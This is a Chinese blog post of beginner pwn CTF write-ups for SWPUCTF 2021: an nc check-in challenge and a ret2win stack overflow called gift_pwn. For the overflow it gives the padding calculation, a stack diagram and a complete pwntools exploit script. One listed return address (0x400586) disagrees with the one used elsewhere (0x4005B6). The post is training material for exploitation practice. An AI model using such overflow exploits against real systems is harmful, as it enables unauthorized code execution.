当前位置: 首页 > news >正文

pwn初学刷题记录

PWN初学刷题记录

[SWPUCTF 2021 新生赛]nc签到

比较简单 nc连接
/bin/sh
cat flag
image

NSSCTF{c5a6491d-b37c-493a-9b74-c578aef0c431}

[SWPUCTF 2021 新生赛]gift_pwn

shell无反应
image

ida查看附件
image

read函数读取100字节,但是buf只有16字节容量,栈溢出
image

找到后门函数gift,执行/bin/sh,地址为4005B6
栈分布布局

低地址
+-----------------+
| buf[16]         |  <- 填充 16 个 'a'
+-----------------+
| 保存的 rbp      |  <- 填充 8 个 'b'  
+-----------------+
| 返回地址        |  <- 覆盖为 gift 函数地址 (0x4005B6)
+-----------------+
高地址

构造payload

payload = b'a'*0x10 + b'b'*0x8 + p64(0x400586)

完整exp

from pwn import *
p = remote('node4.anna.nssctf.cn',28232)#构造payload
payload = b'a' * 0x10 + b'b'*0x8 + p64(0x4005b6)#发送payload
p.send(payload)#进入交互模式
p.interactive()

image

http://www.hskmm.com/?act=detail&tid=22961

相关文章:

  • Vmware中安装Win10
  • 手把手部署 HFish 蜜罐:从防火墙配置到登录使用,新手也能轻松上手
  • P1614 爱与愁的心痛
  • P2911 [USACO08OCT] Bovine Bones G
  • STM32 智能垃圾桶项目笔记(四):PWM 回顾与舵机(SG90)控制实现 - 实践
  • 机器学习 深度学习发展简史(简化版)
  • 2025无锡黄金上门回收公司权威推荐榜:专业估价与诚信服务口碑之选
  • 详细介绍:告别“下次注意”,用这套结构化事故复盘方案就对了
  • 关于树状数组的一些东西
  • lazyVIM整体介绍、常用功能和插件
  • 【SpringAI】第四弹:深入解析 Rag 检索增强工作流程、最佳实践和调优 - 详解
  • 2025 年浮动密封厂家 TOP 企业品牌推荐排行榜,矿用,工程机械,矿山机械,煤矿井下,煤矿机械浮动密封推荐这十家公司!
  • P2141 [NOIP 2014 普及组] 珠心算测验
  • CF1081F Tricky Interactor
  • 2025.10 做题笔记
  • 2025年浮动油封厂家TOP企业品牌推荐排行榜,深度剖析技术创新与产品性能矿用,工程机械,矿山机械,煤矿井下,煤矿机械油封推荐这十家公司!
  • P1554 [USACO06DEC] 梦中的统计 Dream Counting B
  • 2025 年防火涂料厂家 TOP 企业品牌推荐红榜,膨胀型钢结构,非膨胀型钢结构,厚型钢结构,薄型钢结构,钢结构喷涂防火涂料推荐这十家优质公司!
  • 0.机器人的URDF文件修改
  • task1_1.c
  • 解码AVL树
  • LinuxWindows环境下Nacos3.1.0详细安装部署指南:从零到生产就绪
  • JAVA SE 基础语法 —— A / 初识 - 指南
  • 2025年掘进机厂家权威推荐榜:实力品牌与技术创新深度解析
  • 2025机械加工供货厂家权威口碑排行:实力与服务深度解析!
  • NOIP 集训日记 2.0
  • 2025舒适轮胎权威推荐榜:静音科技与驾乘体验口碑之选
  • 2025七水硫酸锌厂家权威推荐榜:优质供应与专业定制首选
  • 深圳网站建设公司权威推荐榜:专业定制与创新设计口碑之选
  • UV面光源实力厂家权威推荐:专业制造与品质保障口碑之选